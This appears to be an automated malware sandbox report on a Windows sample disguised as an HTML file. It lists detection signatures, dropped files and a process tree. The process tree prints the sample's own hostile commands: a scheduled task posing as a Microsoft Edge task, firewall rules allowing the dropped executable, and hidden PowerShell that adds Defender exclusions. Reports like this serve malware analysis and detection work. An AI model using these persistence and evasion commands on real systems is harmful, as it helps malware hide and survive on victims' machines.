Resubmissions

09/08/2026, 03:01

260809-dh7sassybt10

09/08/2026, 02:56

260809-dfbxvage3210

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 02:56

General

  • Target
    pgerpgpellpgelpawre.html.exe
  • Size 293KB
  • Sample260809-dfbxvage32
  • SHA256 92988b46aaa066d1128e2c8a66f7a27e34933d060b380cee1b90a2a4cd257b34
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe
    "C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /delete /f /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" & exit
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\system32\schtasks.exe
        schtasks /delete /f /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E"
        3⤵
          PID:5476
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" /c schtasks /create /f /sc minute /mo 1 /rl highest /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" /tr "\"C:\Users\Admin\Music\$pwnWindowsHealth.exe\"" & exit
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc minute /mo 1 /rl highest /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" /tr "\"C:\Users\Admin\Music\$pwnWindowsHealth.exe\""
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5132
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" /c netsh advfirewall firewall delete rule name="Windows Control" & netsh advfirewall firewall add rule name="Windows Control" dir=in action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes & netsh advfirewall firewall add rule name="Windows Control_out" dir=out action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes & exit
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3636
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall delete rule name="Windows Control"
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2568
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="Windows Control" dir=in action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4740
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="Windows Control_out" dir=out action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Music" -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe" -ErrorAction SilentlyContinue; "
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7EFA.tmp.bat""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\system32\timeout.exe
          timeout 3
          3⤵
          • Delays execution with timeout.exe
          PID:2548
        • C:\Users\Admin\Music\$pwnWindowsHealth.exe
          "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
          3⤵
          • Executes dropped EXE
          PID:5684
    • C:\Users\Admin\Music\$pwnWindowsHealth.exe
      "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
      1⤵
        PID:4856
      • C:\Users\Admin\Music\$pwnWindowsHealth.exe
        "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
        1⤵
        • Executes dropped EXE
        PID:1800
      • C:\Users\Admin\Music\$pwnWindowsHealth.exe
        "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
        1⤵
          PID:1564
        • C:\Users\Admin\Music\$pwnWindowsHealth.exe
          "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
          1⤵
            PID:2332

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                pwn.dll

                • Path C:\Users\Admin\AppData\Local\Temp\pwn.dll
                • Size 13KB
                • SHA256 034ba1de657750175614a6670f006f5bb4ebce820315b4c8cfe2976bbe9d2ba1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                tmp7EFA.tmp.bat

                • Path C:\Users\Admin\AppData\Local\Temp\tmp7EFA.tmp.bat
                • Size 151B
                • SHA256 9aa06e561bce5d261dc1ecd65fac2849661a17aa251cb56ed4156eef2773d22e
                • MD5 SHA1 SHA512 TLSH

                memory/1904-34-0x000001DEB3430000-0x000001DEB3446000-memory.dmp

                memory/1904-32-0x000001DECBB30000-0x000001DECBB3A000-memory.dmp

                memory/1904-31-0x000001DECBDB0000-0x000001DECBE62000-memory.dmp

                memory/1904-30-0x000001DECBD90000-0x000001DECBDAE000-memory.dmp

                memory/1904-27-0x000001DECBAB0000-0x000001DECBAD2000-memory.dmp

                memory/2256-24-0x0000000003BF0000-0x0000000003BF1000-memory.dmp

                memory/4296-6-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-7-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-10-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-11-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-12-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-13-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-14-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-18-0x00000152F7D60000-0x00000152F7D6A000-memory.dmp

                memory/4296-8-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-9-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-1-0x00007FFFFEAEF000-0x00007FFFFEAF0000-memory.dmp

                memory/4296-5-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-4-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-3-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-36-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-2-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

                memory/4296-0-0x00000152F78B0000-0x00000152F7900000-memory.dmp